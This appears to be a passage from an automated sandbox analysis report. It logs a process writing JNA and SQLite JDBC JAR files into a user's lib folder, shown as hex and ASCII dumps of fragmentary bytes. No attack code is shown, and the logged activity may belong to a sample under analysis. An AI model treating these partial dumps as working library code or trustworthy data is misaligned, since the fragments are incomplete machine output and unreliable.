24 57 33 32 57 69 6e 
64 6f 77 55 74 69 6c 
73 24 31 0c 00 bd 02 
5a 0c 02 5b 02 5c 01 
00 22 6a 61 76 61 2f 
6c 61 6e 67 2f 49 6c 
6c 65 67 61 6c 41 72 
67 75 6d 

.Q.R..S.T...transparent-
alpha.
.U.V...java/lang/Byte..W.X.
...
...'java/lang/UnsupportedO
perationException..9Set 
sun.java2d.noddraw=true 
to enable transparent 
windows....Y..1com/sun/j
na/platform/WindowUtils$
W32WindowUtils$1....Z..
[.\.."java/lang/IllegalArgum

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 52 41 4d 01 00 06 57 
50 41 52 41 4d 0c 00 
bd 02 8a 01 00 28 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 77 69 
6e 33 32 2f 57 69 6e 
44 65 66 24 4c 50 41 
52 41 4d 01 00 06 4c 
50 41 52 41 4d 0c 02 
8b 02 8c 01 00 29 63 
6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 44 65 66 24 4c 52 
45 53 55 4c 54 0c 02 
8d 02 8f 07 02 91 0c 
02 92 02 94 07 02 95 
0c 02 96 02 8a 01 00 
27 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 77 69 6e 33 32 2f 
57 69 6e 44 65 66 24 
48 49 43 4f 4e 01 00 
13 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 50 6f 
69 6e 74 65 72 0c 02 
97 02 98 0c 00 bd 02 
4b 0c 01 52 01 53 0c 
01 2b 00 f2 0c 01 2c 
00 f2 01 00 12 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 4d 65 6d 6f 
72 79 01 00 2c 63 6f 
6d 

RAM...WPARAM.......
(com/sun/jn
a/platform/win32/WinDef$L
PARAM
...LPARAM.......)com/sun/j
na/p
latform/win32/WinDef$LRE
SULT..
.....................'com/sun/
jna/platform/win32/WinDef
$HICO
N...com/sun/jna/Pointer.....
..
..K..R.S..+....,.....com/sun/j
na/Memory..,com
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 55 64 eb 22 87 1e ba 
79 61 bd c8 a5 8b 8f 
2e 79 54 d7 9d 4a f9 
d4 a9 07 5d 7a ea a2 
40 17 7e 43 f4 f2 c2 
30 51 48 2d 8a e8 52 
ac 8b de 5e 18 c5 bf 
32 44 1f bc 8b 00 5d 
fa d2 a5 1f 35 3c 86 
da f4 a7 a1 06 d0 28 
03 bd 62 90 28 d1 c5 
60 7a 08 ea 22 44 af 
4b e9 52 96 09 93 c5 
10 ba 0c d5 c5 30 aa 
19 4e 97 72 02 73 04 
95 46 52 69 54 a6 18 
2d c6 64 8a b1 62 1c 
5d 2a 74 31 9e de 4d 
a0 7e c7 52 83 89 74 
99 64 88 c9 19 30 4f 
4c f1 c2 56 31 51 17 
53 75 31 cd 10 d3 e9 
69 86 21 66 12 70 b3 
bc b0 c4 5a c5 71 54 
5d a9 8b d9 74 9f e3 
15 55 a2 5a 17 35 86 
98 6b 88 79 86 38 de 
0b f5 a2 d0 10 f3 0d 
51 4b ab 58 80 5b 84 
17 ec b7 90 2e 8b 68 
9a c5 74 39 21 53 2c 
11 4b bd ac 49 2c d3 
c5 89 19 88 f0 93 74 
71 b2 2e 96 eb 62 05 
d5 86 a9 d1 4a ea 53 
a7 8b 7a 1a 2a 42 97 
55 74 59 

Ud."...ya......yT..J....]z..@.
~C...0QH-..R...^...2D....]....
5<.......(..b.(..`z.."D.K.R...
......0..N.r.s..FRiT..-.d..b.]
*t1..M.~.R..t.d...0OL..V1Q.
Su1
....i.!f.p....Z.qT]...t...U.Z.
5..k.y.8........QK.X.[.......h
..t9!S,.K..I,.......tq....b...
..J.S..z.*B.UtY

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 45 52 0c 02 99 01 3a 
0c 02 9a 00 f2 0c 02 
9b 00 f2 0c 02 9c 01 
2e 0c 02 9d 01 2e 0c 
02 9e 00 f2 0c 02 9f 
00 be 0c 02 a0 02 a1 
01 00 2a 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 77 69 6e 33 
32 2f 57 69 6e 47 44 
49 24 49 43 4f 4e 49 
4e 46 4f 0c 02 a2 02 
a3 0c 02 a4 00 be 0c 
02 a5 02 a7 0c 02 a8 
02 a9 0c 02 a4 02 aa 
0c 02 ab 02 a7 01 00 
1c 6a 61 76 61 2f 61 
77 74 2f 69 6d 61 67 
65 2f 42 75 66 66 65 
72 65 64 49 6d 61 67 
65 0c 00 bd 02 ac 0c 
02 ad 02 ac 0c 02 ae 
02 af 01 00 12 6a 61 
76 61 2f 61 77 74 2f 
44 69 6d 65 6e 73 69 
6f 6e 07 02 b0 0c 02 
b1 02 b2 0c 02 b3 01 
32 01 00 28 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 77 69 6e 
33 32 2f 57 69 6e 47 
44 49 24 42 49 54 4d 
41 50 0c 02 b4 02 b5 
0c 02 b6 02 b7 07 02 
b8 0c 02 

ER....:.......................
..............*com/sun/jna/pla
tform/win32/WinGDI$ICON
INFO.................................
java/awt/image/BufferedIm
age..
................java/awt/Dimen
sion............2..(com/sun/jn
a/platform/win32/WinGDI$
BITMAP...............
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 5c b0 71 5d 84 41 66 
6d 4b 73 6b 5d cb cc 
86 48 23 b6 f4 56 85 
37 46 5b 5b 2a 9b 56 
45 f1 41 55 ce 6d ae 
8f 34 eb b2 16 87 b1 
9a b6 36 47 6a 23 2d 
d8 73 ea c6 f9 91 55 
91 e6 48 53 1d 8e a3 
4f dd b8 28 dc d8 8a 
25 51 35 77 16 83 5e 
55 a7 84 d7 87 87 b6 
b6 34 34 0e 6d 8c ae 
5e dd d0 b4 7a 68 15 
de 23 cd e3 09 c0 aa 
ca 59 35 cb a7 cf 98 
39 65 61 d5 02 06 ac 
12 eb a6 45 9b 62 2d 
e1 a6 16 35 8c 40 9d 
09 08 82 d5 b0 66 6e 
cd 0c aa 61 4e cd ac 
9a 85 d3 a8 86 3b 35 
d5 b5 8b 54 8d 60 90 
3d 6d 4a d5 b4 85 55 
53 16 cc 58 5e 5b b9 
74 86 38 84 ff c3 76 
8d ae b5 e5 b8 c0 ab 
0e af 43 98 32 6a 1b 
56 37 85 69 75 0c 66 
25 bf 9d 60 3d 36 86 
71 0d 0a 8b 13 82 13 
c7 57 d5 45 d7 0e 8d 
b5 36 0d 3d a5 29 3c 
d4 c1 4c ff 04 02 c7 4f 
c4 51 bd ab 1c 1c 32 
a8 3c 9a 61 13 4d aa 
1a 62 

\.q].AfmKsk]...H#..V.7F[[*.
VE.AU.m..4.......6Gj#-
.s....U..HS...O..
(...%Q5w..^U.......44.m.
.^...zh..#......Y5....9ea.....
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dc c9 7e c8 fe 9e 54 
51 59 6b 31 a7 00 5a 
0b 7e 63 d7 32 76 e3 
f5 25 ec c6 2f 4b 37 
ee 6e 2d 86 c3 8d 79 
6b 41 02 7a 13 bb 42 
f7 98 24 2a 1b c1 d0 
db f1 19 41 8a bb 6b 
3a 50 e8 0c ea bf f6 
b3 81 62 80 19 fb 27 
31 96 67 2a dd fe 43 
c0 69 8b 61 37 65 0d 
1c c1 74 a8 16 60 c5 
76 d8 68 6f 23 a7 7b 
b2 50 28 5c 16 e4 b9 
5f f2 f9 94 66 15 cb c0 
93 ab 64 19 e0 9e bb 
7e 19 cd 00 ed 24 9a 
f3 f9 08 32 40 9f 5d 
3d 04 03 48 99 53 1b 
99 ef da 3a 56 12 37 
25 2f 0b 72 93 9d df 
65 1e bf cb bd ab 42 
dc d4 99 8f dc b4 90 
5d a1 7b b7 f8 52 dd 
14 da ff b1 5e 29 d3 
e1 a2 97 fa de 5c af 
80 5e 25 d3 ee e7 03 
a1 0b 8e 7f f2 83 c7 3f 
4b f9 f8 e7 30 1f ff ac 
0c 1d ff e4 5f 7c fc b3 
cc c1 c7 3f f9 c1 e3 1f 
ae 7a 52 31 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 25 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 77 69 6e 33 32 
2f 57 69 6e 44 65 66 
24 48 44 43 01 00 2e 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 55 73 65 72 24 57 
4e 44 45 4e 55 4d 50 
52 4f 43 01 00 27 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 77 69 
6e 33 32 2f 57 69 6e 
4e 54 24 48 41 4e 44 
4c 45 01 00 22 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 31 01 00 21 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 44 65 66 01 00 12 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 4e 61 74 
69 76 65 01 00 13 67 
65 74 43 6f 6d 70 6f 
6e 65 6e 74 50 6f 69 
6e 74 65 72 01 00 2b 
28 4c 6a 61 76 61 

.%com/sun/jna/platform/wi
n32/W
inDef$HDC...com/sun/jna/
platfo
rm/win32/WinUser$WNDE
NUMPROC..
'com/sun/jna/platform/win3
2/Wi
nNT$HANDLE.."com/sun/j
na/platf
orm/WindowUtils$1..!com/
sun/jn
a/platform/win32/WinDef...
com/
sun/jna/Native...getCompo
nentPointer..+(Ljava
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6f 6c 65 61 6e 01 00 
0a 67 65 74 42 6f 6f 
6c 65 61 6e 01 00 15 
28 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 53 74 
72 69 6e 67 3b 29 5a 
01 00 0b 67 65 74 52 
6f 6f 74 50 61 6e 65 
01 00 19 28 29 4c 6a 
61 76 61 78 2f 73 77 
69 6e 67 2f 4a 52 6f 6f 
74 50 61 6e 65 3b 01 
00 11 67 65 74 43 6c 
69 65 6e 74 50 72 6f 
70 65 72 74 79 01 00 
26 28 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 4f 62 
6a 65 63 74 3b 29 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 4f 62 6a 65 
63 74 3b 01 00 07 76 
61 6c 75 65 4f 66 01 
00 13 28 42 29 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 42 79 74 65 3b 
01 00 11 70 75 74 43 
6c 69 65 6e 74 50 72 
6f 70 65 72 74 79 01 
00 27 28 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
62 6a 65 63 74 3b 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 4f 62 6a 65 
63 74 3b 29 56 01 00 
09 62 79 74 65 56 61 
6c 75 65 01 00 03 28 

olean...getBoolean...
(Ljava/la
ng/String;)Z...getRootPane
...(
)Ljavax/swing/JRootPane;.
..getClientProperty..&
(Ljava/lang/O
bject;)Ljava/lang/Object;...
valueOf...
(B)Ljava/lang/Byte;...
putClientProperty..'(Ljava/l
an
g/Object;Ljava/lang/Object;
)V...byteValue...(
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 28 29 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 53 
74 72 69 6e 67 3b 01 
00 04 6e 65 78 74 01 
00 07 74 6f 41 72 72 
61 79 01 00 1b 28 49 
29 5b 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 53 74 72 75 63 74 
75 72 65 3b 01 00 28 
28 5b 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 4f 62 
6a 65 63 74 3b 29 5b 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 4f 62 6a 
65 63 74 3b 01 00 03 
67 65 74 01 00 15 28 
49 29 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 4f 62 
6a 65 63 74 3b 01 00 
08 69 6e 74 56 61 6c 
75 65 01 00 14 43 72 
65 61 74 65 50 6f 6c 
79 50 6f 6c 79 67 6f 
6e 52 67 6e 01 00 58 
28 5b 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 77 69 6e 33 
32 2f 57 69 6e 44 65 
66 24 50 4f 49 4e 54 
3b 5b 49 49 49 29 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 

()Ljava/lang/String;...next...
toArray...(I)
[Lcom/sun/jna/Structure;..
(([Ljava/lang/Object;)
[Ljava/lang/Object;...get...(
I)Ljava/lang/Object;...intVal
u
e...CreatePolyPolygonRgn
..X([L
com/sun/jna/platform/win3
2/WinDef$POINT;
[III)Lcom/sun/jna/pl
atform/win32/Wi
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 74 c9 ff d8 be 03 a7 
98 7d f3 82 ed 7b 63 
2e b3 cf b6 84 d9 f7 9f 
25 21 f6 25 61 fb 2a 
d9 15 ba 53 b7 fd 5f 8f 
bf c0 be 04 66 5f ba 
6c 84 92 7a 92 99 f8 
ea dc 20 13 07 70 13 
0f de c6 4c 54 87 9a 
78 d7 5c 64 a2 f7 16 
66 e2 bc ff c2 44 67 
24 fb 32 65 f6 25 72 fb 
fa 07 db 57 c6 ee 96 
90 c6 ed 33 df 16 62 
df e1 5b 90 7d 7a 6e 
df eb 8b ff 3f d9 17 7e 
7c 6d b9 25 c8 b8 cf 
6f 66 c6 d5 2f 66 c6 
7d b6 38 c4 b8 74 6c 
dc b3 ec 0a dd e0 ff 
c2 38 5c be ec 9d c5 
5e f6 b6 3b 40 ba 0a 
8b 51 ac 9d df 26 d6 
66 ed 67 0d d6 6e 9f 
fb 3b f6 78 ba 8d 8c 
a7 e0 61 e8 83 f4 01 
75 d6 7e 63 0b 5b 46 
cb 16 a2 90 e6 f4 8c 
6f c1 1f 02 3c a3 56 
b7 05 02 1d 25 a4 45 
7d e8 e6 a0 16 f5 44 
36 cb e0 ce 45 2c 83 
bf 2d 0a 69 51 f3 6f 96 
8f 5f 89 87 de 63 57 
e8 ae 5f 14 66 fc 2a 
3d 46 de cf 1e 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 1a b0 a7 42 3c df b8 
79 0a ae cf 2c cb 7f 
a7 8b 4f ab dd b4 65 
68 59 d2 3e 8f 64 89 
cc 16 60 3a 83 da 07 
26 5f 16 24 3f f0 3f f4 
7d 24 9f 2f f3 f3 b7 04 
9d 5f f6 1a 3e 7f 0d 3d 
4f 4f 19 5f 17 84 c2 48 
ef ef 93 8d f6 8f d9 88 
86 d6 f2 9d f4 27 29 
be 83 1f d2 07 54 7c 
96 bb 88 ad b4 48 7b 
44 a4 0b 5f 93 79 fc 
dc 2a 32 3f 2e be 99 
f9 d1 74 73 70 3d 5e 
29 42 7d 4f 18 21 42 
05 3d 1e 70 d2 df a9 
d6 64 7c 22 0d 1f 8e 
f3 45 17 46 fb 74 a5 
6c 44 d1 d6 53 aa f4 
63 44 5c e9 a7 ab f9 
99 b8 ae 33 dd 8b d4 
d9 0b 69 1e 87 be c9 
5f d1 8e af c0 c3 5a 
83 27 f9 0b 66 bd 18 
f4 3e e9 b1 19 cc fe f8 
dd cc fe fa ec 90 f7 49 
6a b1 fb 7d 12 18 90 
b2 c7 b6 f1 13 21 b3 
b6 ef 6d 9f 10 fd aa 8c 
3d 44 c1 33 fb 88 83 
55 e9 9f d2 87 9e 9f 
b1 c3 5f 45 bb 25 89 
f4 a2 03 93 de a6 1d 
dd 5b 
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e1 6e da 8e fb d9 3f 
4d 79 2a df 66 ca 46 
be 8d 41 df 74 78 77 
22 ee 26 fb 8c 3d 6b 
b2 4f d8 a7 a6 5c 2b 
9b 4c f6 0c 3e ca a8 
5c a7 cb d3 4c d9 2c 
63 ba 5c 68 ca 16 dc 
53 d9 4a a0 a4 19 d1 
65 51 98 ec 7b de dd 
94 eb 09 88 06 b9 01 
4b 72 03 3a 20 35 d1 
40 ac b5 6e 4d 40 f9 
49 b8 7e f6 16 51 75 
5e 02 97 ae bd c9 71 
d5 36 37 93 00 f6 3b 
6f 03 f6 e1 94 35 50 
60 90 29 4f 67 af a1 
89 3b 28 d0 d0 a4 b0 
ba d1 e4 c0 a5 29 cf 
90 67 32 08 74 25 85 
e4 23 0a 53 9e c5 3e 
d2 e5 d9 a6 3c 47 9e 
8b ee 43 a2 fd c2 a6 
58 eb ba 75 51 74 ef 
ea e7 ae 23 eb d6 ad 
4c d1 7f 5a b0 a6 21 
16 58 54 1d a8 8f 46 
62 81 a6 68 4b c0 6e 
1e 70 b0 12 0b 6c 68 
68 a1 15 37 85 1b 2d 
70 63 81 12 1b 6c 34 
3e 07 a9 d7 08 35 ba 
68 83 d1 3b 98 d2 d2 
12 59 bb ae 25 d0 12 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 70 6c 61 74 66 6f 72 
6d 2f 57 69 6e 64 6f 
77 55 74 69 6c 73 24 
57 33 32 57 69 6e 64 
6f 77 55 74 69 6c 73 
3b 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 77 69 6e 33 32 
2f 57 69 6e 44 65 66 
24 48 52 47 4e 3b 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 44 65 66 24 48 52 
47 4e 3b 29 56 01 00 
26 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 52 61 73 74 65 72 
52 61 6e 67 65 73 55 
74 69 6c 73 01 00 14 
6f 75 74 70 75 74 4f 
63 63 75 70 69 65 64 
52 61 6e 67 65 73 07 
02 de 01 00 0c 52 61 
6e 67 65 73 4f 75 74 
70 75 74 01 00 4f 28 
4c 6a 61 76 61 2f 61 
77 74 2f 69 6d 61 67 
65 2f 52 61 73 74 65 
72 3b 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 52 61 73 74 
65 72 

platform/WindowUtils$W32
Window
Utils;Lcom/sun/jna/platfor
m/wi
n32/WinDef$HRGN;Lcom/
sun/jna/p
latform/win32/WinDef$HR
GN;)V..
&com/sun/jna/platform/Ras
terRa
ngesUtils...outputOccupied
Rang
es......RangesOutput..O(Lj
ava/
awt/image/Raster;Lcom/su
n/jna/platform/Raster
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 67 70 ab 9b 9a 99 d5 
b3 e7 84 78 74 c7 f4 
10 8f 8a 2d e9 49 ec 
87 c2 62 4b 34 fb a1 
69 b7 cb 32 52 dc 19 
f4 f6 2d 74 ac 32 cb 
ca bd 76 ca f7 fd 47 
5d 5e 2b 9c 1e e4 b5 
96 0c 76 ff 07 e7 b0 fb 
bf 3f 27 c4 6b d7 4f 47 
5e 7b 84 5d a1 3b 3b 
fb a2 5e d3 c8 a6 03 
f8 79 f5 29 d2 9e f1 b6 
25 83 5b 30 63 36 b3 
20 73 b6 f4 0b 8b ae 
07 bd 4c e9 77 5d cf 
a4 68 ab b5 47 86 59 
1c 93 0e 3c 49 74 94 
2b 33 1d eb d5 fc 2a 
58 0b 4e 9a 40 1f a9 
94 a4 2d cb b4 9f b5 
7e 23 b3 28 a4 3e 8b 
d2 62 5c fa fc 6c 46 
46 d0 f3 b3 fa 74 66 
e4 65 bb 98 91 2f 66 
85 3c 3f 1b 9c 11 6e 
21 82 aa ea 4b b6 48 
22 c3 c5 2a d5 e5 3d 
f8 d2 fd 6b 3e a1 8d 
b2 7d 49 2b 9b 85 b8 
4c d4 83 b5 ba b9 a0 
35 5b 4b f3 17 b0 1f 
22 9a 0d 81 2f 98 1a 
fa 89 e9 4c 7b 41 23 
51 e5 de 49 7f 4d e8 
2b 6b 61 cf c2 99 de 
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 5e 0a 15 cd a0 20 9d 
cf 6c ca 0b 49 1c fc c4 
0e 9a 6c 3f fb 11 cd 
d4 ce cc 83 b4 87 dc 
2e 2f 92 17 9b 72 93 
bc c4 94 97 4a 14 26 
97 cb 2b 3a cd b5 38 
de fc 7f ec 36 d4 48 
43 d6 b5 d0 49 fe 10 
d4 09 26 df 49 d4 fb 
0b 14 81 bc 2f 3f 86 
b6 9f 99 f2 4a 7a 6c 
e5 c1 74 24 bb d8 76 
e0 5b 22 a7 b7 10 8b 
5f a5 cb c5 26 6f 92 
57 9b f2 97 c4 3a 29 
96 14 87 a0 5d 5e 43 
97 6b 4d 79 9d bc 1e 
25 73 82 eb 2d d4 f7 
43 55 df 2f b0 21 1c 
0b d4 47 ea 1a c3 e8 
8c 04 b0 cc 28 1d 29 
3b 50 62 c5 05 02 74 
12 85 75 a1 d2 c0 86 
35 0d c8 17 0d 49 44 
84 5d 6c e2 08 27 e8 
09 f7 ca 1d b8 6a 3a 
35 62 c7 b5 03 47 3a 
3a 30 e5 0d f2 57 26 
e7 f2 d7 ba bc d1 94 
9b e5 16 53 de 24 6f 
36 e5 2d a4 2d 6e 35 
e5 6d f2 76 e2 d6 3b 
92 a4 5b 92 53 6f ca 
3b e5 6f e2 0c ab 20 
50 96 04 01 60 ca df 
ca bb 

^.... ..l..I.....l?...........
/...r.....J.&..+:..8....6.HC..
.I....&.I....../?.....Jzl..t$..v.
["...._...&o.W....:)....]^C
.kMy...%s..-..CU./.!...G......
..(.);Pb...t..u....5....ID.]l.
.'......j:5b...G::0...W&......
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 77 69 6e 33 32 2f 57 
69 6e 44 65 66 24 48 
44 43 3b 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 77 69 6e 
33 32 2f 57 69 6e 44 
65 66 24 48 42 49 54 
4d 41 50 3b 49 49 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 50 6f 69 
6e 74 65 72 3b 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 77 69 
6e 33 32 2f 57 69 6e 
47 44 49 24 42 49 54 
4d 41 50 49 4e 46 4f 
3b 49 29 49 01 00 08 
28 4a 5b 42 49 49 29 
56 01 00 07 68 62 6d 
4d 61 73 6b 01 00 06 
28 49 49 49 29 56 01 
00 06 73 65 74 52 47 
42 01 00 09 52 65 6c 
65 61 73 65 44 43 01 
00 52 28 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 77 69 6e 
33 32 2f 57 69 6e 44 
65 66 24 48 57 4e 44 
3b 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 77 69 6e 33 32 
2f 

win32/WinDef$HDC;Lcom/
sun/jna/
platform/win32/WinDef$HB
ITMAP;
IILcom/sun/jna/Pointer;Lco
m/su
n/jna/platform/win32/WinG
DI$BITMAPINFO;I)I...
(J[BII)V...hbmMask...
(III)V...setRGB...Releas
eDC..R(Lcom/sun/jna/platf
orm/w
in32/WinDef$HWND;Lcom/
sun/jna/platform/win32/
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 5b ec d4 1b 06 4e b2 
0e e6 ef 93 a6 91 2c 
c5 4f 3d 19 ad 98 fe 
16 7d c4 6c e9 63 0c 
bc 9f b2 c7 50 f9 67 
dc 86 2a 7b 2b 9a 85 
c2 f8 90 de f0 c6 46 f6 
a5 26 62 dd ac 14 77 
f5 be 4d 19 c4 7e 37 
69 30 d3 55 db 06 67 
11 7f 8d 9c b1 25 ae 
87 6a 5b bf e9 37 c4 
29 ac 09 81 0f c4 40 
0b 71 58 f5 be cd 87 
3a 2e 13 4f 1d 1a 42 
a6 96 e4 2a 15 b9 7d 
34 15 a3 9e 55 8c 6d 
e5 f3 cd 14 77 65 a0 
cf da 7e 62 7e 0b 89 
81 27 7e bf 8e 94 64 
74 13 1e 2f 77 bf df a5 
8d 69 65 a0 77 d9 04 
fa ba aa 36 9e 45 70 
2d 2b c3 c5 8f c4 0b 
86 1d b4 91 60 cf 65 
df b2 cf a0 7d ac af 42 
4f 5a 8d 3b 32 f3 7f 
69 64 0b 41 54 cf 76 
8a b5 31 db 59 c5 ea 
9b 7e 23 d9 a9 a6 b6 
8a 8e 21 b4 43 8a a5 
e1 97 10 18 4e cf c5 
d8 6e d0 09 33 1d 71 
3e 23 19 da d1 55 c4 
2c 39 b0 dd 68 1f 9c 
41 fc a0 9c e9 88 f6 
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..~7i0.U..g.....%..j[..7.)....
.@.qX....:..O..B...*..}4...U.
m....we...~b~...'~...dt../w....
ie.w.....6.Ep-+.........`.e...
.}..BOZ.;2..id.AT.v..1.Y...~#
......!.C......N...n..3.q>#...U
.,9..h..A......

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6f 72 6d 2f 77 69 6e 
33 32 2f 57 69 6e 44 
65 66 24 48 57 4e 44 
3b 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 74 72 2f 49 6e 74 
42 79 52 65 66 65 72 
65 6e 63 65 3b 29 49 
01 00 0b 4f 70 65 6e 
50 72 6f 63 65 73 73 
01 00 2e 28 49 5a 49 
29 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 77 69 6e 33 32 
2f 57 69 6e 4e 54 24 
48 41 4e 44 4c 45 3b 
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fe 3b f1 f9 7e d7 f3 03 
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8a 71 7c 49 e3 3c 83 
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7e 02 8a a2 25 7c a9 
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a1 37 95 94 df b0 15 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 68 00 03 00 1e 00 0b 
01 69 00 f2 00 04 00 
01 01 6a 01 65 00 01 
00 bf 00 00 01 b5 00 
05 00 08 00 00 00 ba 
11 08 00 bc 05 4d bb 
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c7 c0 2f cb e2 47 e2 
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0e 7d e5 0e e8 27 1f 
80 c1 72 17 8c 42 ea 
18 2f 1f 86 89 38 cc 
24 f9 20 b4 ca 87 e0 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 89 00 00 00 02 01 8a 
00 ba 00 00 00 ea 00 
1d 00 b7 00 01 00 b9 
00 0a 00 bb 00 b7 00 
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40 d0 dc e6 cb 44 65 
a2 9c 37 c9 9e 01 8c 
33 bc e8 d9 04 0f dd 
17 2e f2 2f d7 e6 1c 
15 f8 97 77 0a c6 9d 
52 33 6f ad 13 2e ef 
4c 0f 84 12 64 0f ca 
76 5e 2a a6 91 7c a8 
42 2f 48 5f 5a 78 cb 
71 ab e7 a4 ad 64 87 
c8 4f aa 13 4b a0 5b 
3e ec 16 19 7e 7c 98 
5b 50 d4 ed 15 75 01 
d1 ad 66 77 a7 e3 61 
fe 5f 9e 26 ba 03 fc a1 
2d 1f a1 b0 fe da 29 
55 3d f4 ce 47 d4 0c 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 0a 00 07 00 21 07 00 
22 0a 00 03 00 23 0b 
00 24 00 25 07 00 26 
07 00 27 07 00 29 01 
00 09 76 61 6c 24 72 
6c 69 73 74 01 00 10 
4c 6a 61 76 61 2f 75 
74 69 6c 2f 4c 69 73 
74 3b 01 00 06 3c 69 
6e 69 74 3e 01 00 13 
28 4c 6a 61 76 61 2f 
75 74 69 6c 2f 4c 69 
73 74 3b 29 56 01 00 
04 43 6f 64 65 01 00 
0f 4c 69 6e 65 4e 75 
6d 62 65 72 54 61 62 
6c 65 01 00 12 4c 6f 
63 61 6c 56 61 72 69 
61 62 6c 65 54 61 62 
6c 65 01 00 04 74 68 
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64 6f 77 55 74 69 6c 
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74 52 61 6e 67 65 01 
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....!.."....#..$.%..&..'..)...
val$rlist...Ljava/util/List;...
<init>...(Ljava/util/List;)V.
..Code...LineNumberTable.
..Loc
alVariableTable...this..,...X
1
1WindowUtils...InnerClass
es..3
Lcom/sun/jna/platform/Win
dowUt
ils$X11WindowUtils$1;...o
utputRange...(IIII)Z

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 46 df 42 97 d1 d7 8b 
a2 5c 03 ac 54 79 7e 
96 13 b7 e3 65 be 5e 
b6 0d 78 3e fe 5d c0 
2f 74 d2 b9 2d 5f d8 
1b 24 47 e8 35 14 f1 
9d dc 61 6d 93 cb 1d 
f6 3a 90 79 15 17 32 
35 d6 45 f6 58 a7 da 
01 ba 02 1c a9 9f 44 
69 52 58 84 ba 28 b3 
b0 08 ef f5 2b 26 14 
26 1c 64 15 8e d3 7e 
01 86 76 25 62 f1 2a 
e8 a1 5d e3 0a c7 15 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 70 01 00 1d 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 75 6e 69 
78 2f 58 31 31 00 30 
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08 00 01 10 10 00 09 
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e6 8e fb 23 1e 34 2d 
1f 28 bd 80 bf a1 be 
